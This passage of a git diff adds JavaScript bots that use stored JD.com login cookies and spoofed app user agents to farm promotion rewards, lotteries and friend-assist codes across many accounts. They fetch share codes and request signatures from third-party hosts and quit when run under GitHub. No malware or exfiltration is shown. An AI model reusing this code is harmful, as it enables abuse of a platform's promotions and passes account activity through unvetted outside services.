console.log(`助力情况:${data['data']['supportedNums']}/${data['data']['supportNeedNums']}`); + message += `邀请好友助力:${data['data']['supportedNums']}/${data['data']['supportNeedNums']}\n` + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }); +} + +//积分抽奖 +function lottery() { + const options = taskPostUrl('/khc/record/lottery', {}) + return new Promise((resolve) => { + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + if (data.data.prizeId !== 8) { + //已中奖 + const url = 'https://carnivalcity.m.jd.com/#/integralDetail'; + console.log(`积分抽奖获得:${data.data.prizeName}`); + message += `积分抽奖获得:${data.data.prizeName}\n`; + $.msg($.name, '', `京东账号 ${$.index} ${$.nickName || $.UserName}\n积分抽奖获得:${data.data.prizeName}\n兑换地址:${url}`, {'open-url': url}); + if ($.isNode()) await notify.sendNotify($.name, `京东账号 ${$.index} ${$.nickName || $.UserName}\n积分抽奖获得:${data.data.prizeName}\n兑换地址:${url}`); + } else { + console.log(`积分抽奖结果:${data['data']['prizeName']}}`); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }); +} + +//查询抽奖记录(未兑换的) +function check() { + const options = taskPostUrl('/khc/record/convertRecord', {pageNum: 1}) + return new Promise((resolve) => { + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + let str = ''; + if (data.code === 200) { + for (let obj of data.data) { + if (obj.hasOwnProperty('fillStatus') && obj.fillStatus !== true) { + str += JSON.stringify(obj); + } + } + } + if (str.length > 0) { + const url = 'https://carnivalcity.m.jd.com/#/integralDetail'; + $.msg($.name, '', `京东账号 ${$.index} ${$.nickName || $.UserName}\n积分抽奖获得:${str}\n兑换地址:${url}`, {'open-url': url}); + if ($.isNode()) await notify.sendNotify($.name, `京东账号 ${$.index} ${$.nickName || $.UserName}\n积分抽奖获得:${str}\n兑换地址:${url}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }); +} + +function myRank() { + return new Promise(resolve => { + const options = taskPostUrl("/khc/rank/myPastRanks", {}); + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + if (data.data && data.data.length) { + for (let i = 0; i < data.data.length; i++) { + $.date = data.data[i]['date']; + if (data.data[i].status === '1') { + console.log(`开始领取往期奖励【${data.data[i]['prizeName']}】`) + let res = await saveJbean($.date); + // console.log('领奖结果', res) + if (res && res.code === 200) { + $.beans += Number(res.data); + console.log(`${data.data[i]['date']}日 【${res.data}】京豆奖励领取成功`) + } else { + console.log(`往期奖励领取失败:${JSON.stringify(res)}`); + } + await $.wait(500); + } else if (data.data[i].status === '3') { + console.log(`${data.data[i]['date']}日 【${data.data[i]['prizeName']}】往期京豆奖励已领取~`) + } else { + console.log(`${data.data[i]['date']}日 【${data.data[i]['status']}】往期京豆奖励,今日争取进入前30000名哦~`) + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//领取往期奖励API +function saveJbean(date) { + return new Promise(resolve => { + const body = {"date": `${date}`}; + const options = taskPostUrl('/khc/rank/getRankJingBean', body) + $.post(options, (err, resp, data) => { + try { + // console.log('领取京豆结果', data); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function doHelp() { + console.log(`\n开始助力好友`); + for (let i in $.newShareCodes) { + let item = $.newShareCodes[i] + console.log('好友助力码:', item) + if (!item) continue; + const helpRes = await toHelp(item.trim()); + if (helpRes.data.status === 5) { + console.log(`助力机会已耗尽,跳出助力`); + break; + } else if (helpRes.data.status === 4) { + console.log(`该助力码[${item}]已达上限`); + $.newShareCodes[i] = '' + } + } +} + +//助力API +function toHelp(code) { + return new Promise(resolve => { + const body = {"shareId": `${code}`}; + const options = taskPostUrl('/khc/task/doSupport', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`助力结果:${data}`); + data = JSON.parse(data); + if (data && data['code'] === 200) { + if (data['data']['status'] === 6) console.log(`助力成功\n`) + if (data['data']['jdNums']) $.beans += data['data']['jdNums']; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//获取邀请码API +function getHelp() { + return new Promise(resolve => { + $.post({ + url: 'https://api.m.jd.com/api', + headers: { + 'User-Agent': 'jdapp;', + 'Origin': 'https://carnivalcity.m.jd.com', + 'Host': 'api.m.jd.com', + 'Referer': 'https://carnivalcity.m.jd.com/', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + }, + body: 'appid=guardian-starjd&functionId=carnivalcity_jd_prod&body={"apiMapping":"/khc/task/getSupport"}&t=1634977085493&loginType=2' + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`\n\n${$.name}互助码每天都变化,旧的不可继续使用`); + $.log(`【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.data.shareId}\n\n`); + if (new Date().getHours() !== 0) + await $.wait(3000) + shareCodesSelf.push(data.data.shareId); + } else { + console.log(`获取邀请码失败:${JSON.stringify(data)}`); + if (data.code === 1002) $.blockAccount = true; + } + } + } catch (e) { + } finally { + resolve() + } + }) + }) +} + +//获取当前活动总京豆数量 +function getListJbean() { + return new Promise(resolve => { + const body = { + pageNum: `` + } + const options = taskPostUrl("/khc/record/jingBeanRecord", body); + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + $.jingBeanNum = data.data.jingBeanNum || 0; + message += `累计获得京豆:${$.jingBeanNum}🐶\n`; + } else { + console.log(`jingBeanRecord失败:${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//查询累计获得积分 +function getListIntegral() { + return new Promise(resolve => { + const body = { + pageNum: `` + } + const options = taskPostUrl("/khc/record/integralRecord", body); + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + $.integralCount = data.data.integralNum || 0;//累计活动积分 + message += `累计获得积分:${$.integralCount}\n`; + console.log(`开始抽奖,当前积分可抽奖${parseInt($.integralCount / 50)}次\n`); + for (let i = 0; i < parseInt($.integralCount / 50); i++) { + await lottery(); + await $.wait(500); + } + } else { + console.log(`integralRecord失败:${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//查询今日累计积分与排名 +function getListRank() { + return new Promise(resolve => { + const options = taskPostUrl("/khc/rank/dayRank", {}); + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + if (data.data.myRank) { + $.integer = data.data.myRank.integral;//当前获得积分 + $.num = data.data.myRank.rank;//当前排名 + message += `当前获得积分:${$.integer}\n`; + message += `当前获得排名:${$.num}\n`; + } + if (data.data.lastRank) { + $.lasNum = data.data.lastRank.rank;//当前参加活动人数 + message += `当前参赛人数:${$.lasNum}\n`; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function updateShareCodesCDN() { + return new Promise(resolve => { + $.get({ + url: "https://api.jdsharecode.xyz/api/carnivalcity/30", + headers: {"User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")}, + timeout: 10000 + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data) + $.updatePkActivityIdRes = data.data; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskPostUrl(a, t = {}) { + const body = $.toStr({...t, "apiMapping": `${a}`}) + return { + url: `${JD_API_HOST}`, + body: `appid=guardian-starjd&functionId=carnivalcity_jd_prod&body=${body}&t=${Date.now()}&loginType=2`, + headers: { + "Host": "api.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://carnivalcity.m.jd.com", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://carnivalcity.m.jd.com/", + "Cookie": cookie + } + } +} + + +async function showMsg() { + if ($.beans) { + allMessage += `京东账号${$.index} ${$.nickName || $.UserName}\n本次运行获得:${$.beans}京豆\n${message}活动地址:https://carnivalcity.m.jd.com${$.index !== cookiesArr.length ? '\n\n' : ''}` + } + $.msg($.name, `京东账号${$.index} ${$.nickName || $.UserName}`, `${message}具体详情点击弹窗跳转后即可查看`, {"open-url": "https://carnivalcity.m.jd.com"}); +} + +function getUA() { + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} + +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function getShareCodesHW() { + return new Promise(resolve => { + $.get({ + url: "https://api.jdsharecode.xyz/api/HW_CODES" + }, (err, resp, data) => { + try { + if (!err) { + data = JSON.parse(data) + shareCodesHW = data['carnivalcity'] + } + } catch (e) { + } finally { + resolve() + } + }) + }) +} + +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + + class s { + constructor(t) { + this.env = t + } + + send(t, e = "GET") { + t = "string" == typeof t ? {url: t} : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + + get(t) { + return this.send.call(this.env, t) + } + + post(t) { + return this.send.call(this.env, t, "POST") + } + } + + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + + isNode() { + return "undefined" != typeof module && !!module.exports + } + + isQuanX() { + return "undefined" != typeof $task + } + + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + + isLoon() { + return "undefined" != typeof $loon + } + + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch { + } + return s + } + + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + + getScript(t) { + return new Promise(e => { + this.get({url: t}, (t, s, i) => e(i)) + }) + } + + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: {script_text: t, mock_type: "cron", timeout: r}, + headers: {"X-Key": o, Accept: "*/*"} + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata() { + if (!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; + { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) if (r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + + get(t, e = (() => { + })) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => { + })) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t)); else if (this.isNode()) { + this.initGotEnv(t); + const {url: s, ...i} = t; + this.got.post(s, i).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? {"open-url": t} : this.isSurge() ? {url: t} : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; + return {openUrl: e, mediaUrl: s} + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; + return {"open-url": e, "media-url": s} + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return {url: e} + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + + done(t = {}) { + const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} \ No newline at end of file diff --git a/jd_cash.js b/jd_cash.js new file mode 100644 index 0000000000..51a00df2f6 --- /dev/null +++ b/jd_cash.js @@ -0,0 +1,703 @@ +/** + * 签到领现金 + * 京东APP搜索领现金进入 + * ============Quantumultx=============== + * [task_local] + * #签到领现金 + * 2 0-23/4 * * * jd_cash.js, tag=签到领现金, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + * + * ================Loon============== + * [Script] + * cron "2 0-23/4 * * *" script-path=jd_cash.js,tag=签到领现金 + * + * ===============Surge================= + * 签到领现金 = type=cron,cronexp="2 0-23/4 * * *",wake-system=1,timeout=3600,script-path=jd_cash.js + * + * ============小火箭========= + * 签到领现金 = type=cron,script-path=jd_cash.js, cronexpr="2 0-23/4 * * *", timeout=3600, enable=true + */ + +const $ = new Env('签到领现金'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = [], cookie = '', message; +let cash_exchange = false;//是否消耗2元红包兑换200京豆,默认否 +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +let allMessage = ''; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + await requireConfig() + $.authorCode = [] + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + message = ''; + console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`); + await jdCash() + } + } + if (allMessage) { + if ($.isNode() && (process.env.CASH_NOTIFY_CONTROL ? process.env.CASH_NOTIFY_CONTROL === 'false' : !!1)) await notify.sendNotify($.name, allMessage); + $.msg($.name, '', allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdCash() { + $.signMoney = 0; + await appindex() + await index() + await shareCodesFormat() + $.exchangeBeanNum = 0; + cash_exchange = $.isNode() ? (process.env.CASH_EXCHANGE ? process.env.CASH_EXCHANGE : `${cash_exchange}`) : ($.getdata('cash_exchange') ? $.getdata('cash_exchange') : `${cash_exchange}`); + await appindex(true) +} + +async function appindex(info = false) { + let functionId = "cash_homePage" + let body = "%7B%7D" + let uuid = randomString(16) + let sign = await getSign(functionId, decodeURIComponent(body), uuid) + let url = `${JD_API_HOST}?functionId=${functionId}&build=167774&client=apple&clientVersion=10.1.0&uuid=${uuid}&${sign}` + return new Promise((resolve) => { + $.post(apptaskUrl(url, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data.result) { + if (info) { + if (message) { + message += `当前现金:${data.data.result.totalMoney}元`; + allMessage += `京东账号${$.index}${$.nickName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } + console.log(`\n\n当前现金:${data.data.result.totalMoney}元`); + return + } + $.signMoney = data.data.result.totalMoney; + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.data.result.invitedCode}\n`); + let helpInfo = { + 'inviteCode': data.data.result.invitedCode, + 'shareDate': data.data.result.shareDate + } + $.shareDate = data.data.result.shareDate; + for (let task of data.data.result.taskInfos) { + if (task.type === 4) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i + 1}/${task.times}`) + await appdoTask(task.type, task.jump.params.skuId) + await $.wait(5000) + } + } else if (task.type === 2) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i + 1}/${task.times}`) + await appdoTask(task.type, task.jump.params.shopId) + await $.wait(5000) + } + } else if (task.type === 30) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i + 1}/${task.times}`) + await appdoTask(task.type, task.jump.params.path) + await $.wait(5000) + } + } else if (task.type === 16 || task.type === 3 || task.type === 5 || task.type === 17 || task.type === 21) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i + 1}/${task.times}`) + await appdoTask(task.type, task.jump.params.url) + await $.wait(5000) + } + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function index() { + return new Promise((resolve) => { + $.get(taskUrl("cash_mob_home"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data.result) { + for (let task of data.data.result.taskInfos) { + if (task.type === 4) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i + 1}/${task.times}`) + await doTask(task.type, task.jump.params.skuId) + await $.wait(5000) + } + } else if (task.type === 2) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i + 1}/${task.times}`) + await doTask(task.type, task.jump.params.shopId) + await $.wait(5000) + } + } else if (task.type === 31) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i + 1}/${task.times}`) + await doTask(task.type, task.jump.params.path) + await $.wait(5000) + } + } else if (task.type === 16 || task.type === 3 || task.type === 5 || task.type === 17 || task.type === 21) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i + 1}/${task.times}`) + await doTask(task.type, task.jump.params.url) + await $.wait(5000) + } + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function appdoTask(type, taskInfo) { + let functionId = 'cash_doTask' + let body = escape(JSON.stringify({"type": type, "taskInfo": taskInfo})) + let uuid = randomString(16) + let sign = await getSign(functionId, decodeURIComponent(body), uuid) + let url = `${JD_API_HOST}?functionId=${functionId}&build=167774&client=apple&clientVersion=10.1.0&uuid=${uuid}&${sign}` + return new Promise((resolve) => { + $.post(apptaskUrl(url, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + console.log(`任务完成成功`) + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doTask(type, taskInfo) { + return new Promise((resolve) => { + $.get(taskUrl("cash_doTask", {"type": type, "taskInfo": taskInfo}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + console.log(`任务完成成功`) + } else { + console.log(data) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getSign(functionid, body, uuid) { + return new Promise(async resolve => { + let data = { + "functionId": functionid, + "body": body, + "uuid": uuid, + "client": "apple", + "clientVersion": "10.1.0" + } + let options = { + url: `https://cdn.nz.lu/ddo`, + body: JSON.stringify(data), + headers: { + "Host": "jdsign.cf", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + }, + timeout: 30 * 1000 + } + console.log(data) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} getSign API请求失败,请检查网路重试`) + } else { + console.log(data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function randomString(e) { + e = e || 32; + let t = "abcdefghijklmnopqrstuvwxyz0123456789", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + // $.get({url: `http://code.chiang.fun/api/v1/jd/jdcash/read/${randomCount}/`, 'timeout': 30000}, (err, resp, data) => { + // try { + // if (err) { + // console.log(`${JSON.stringify(err)}`) + // console.log(`${$.name} API请求失败,请检查网路重试`) + // } else { + // if (data) { + // console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + // data = JSON.parse(data); + // } + // } + // } catch (e) { + // $.logErr(e, resp) + // } finally { + // resolve(data); + // } + // }) + // await $.wait(30000); + resolve([]) + }) +} + +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + // 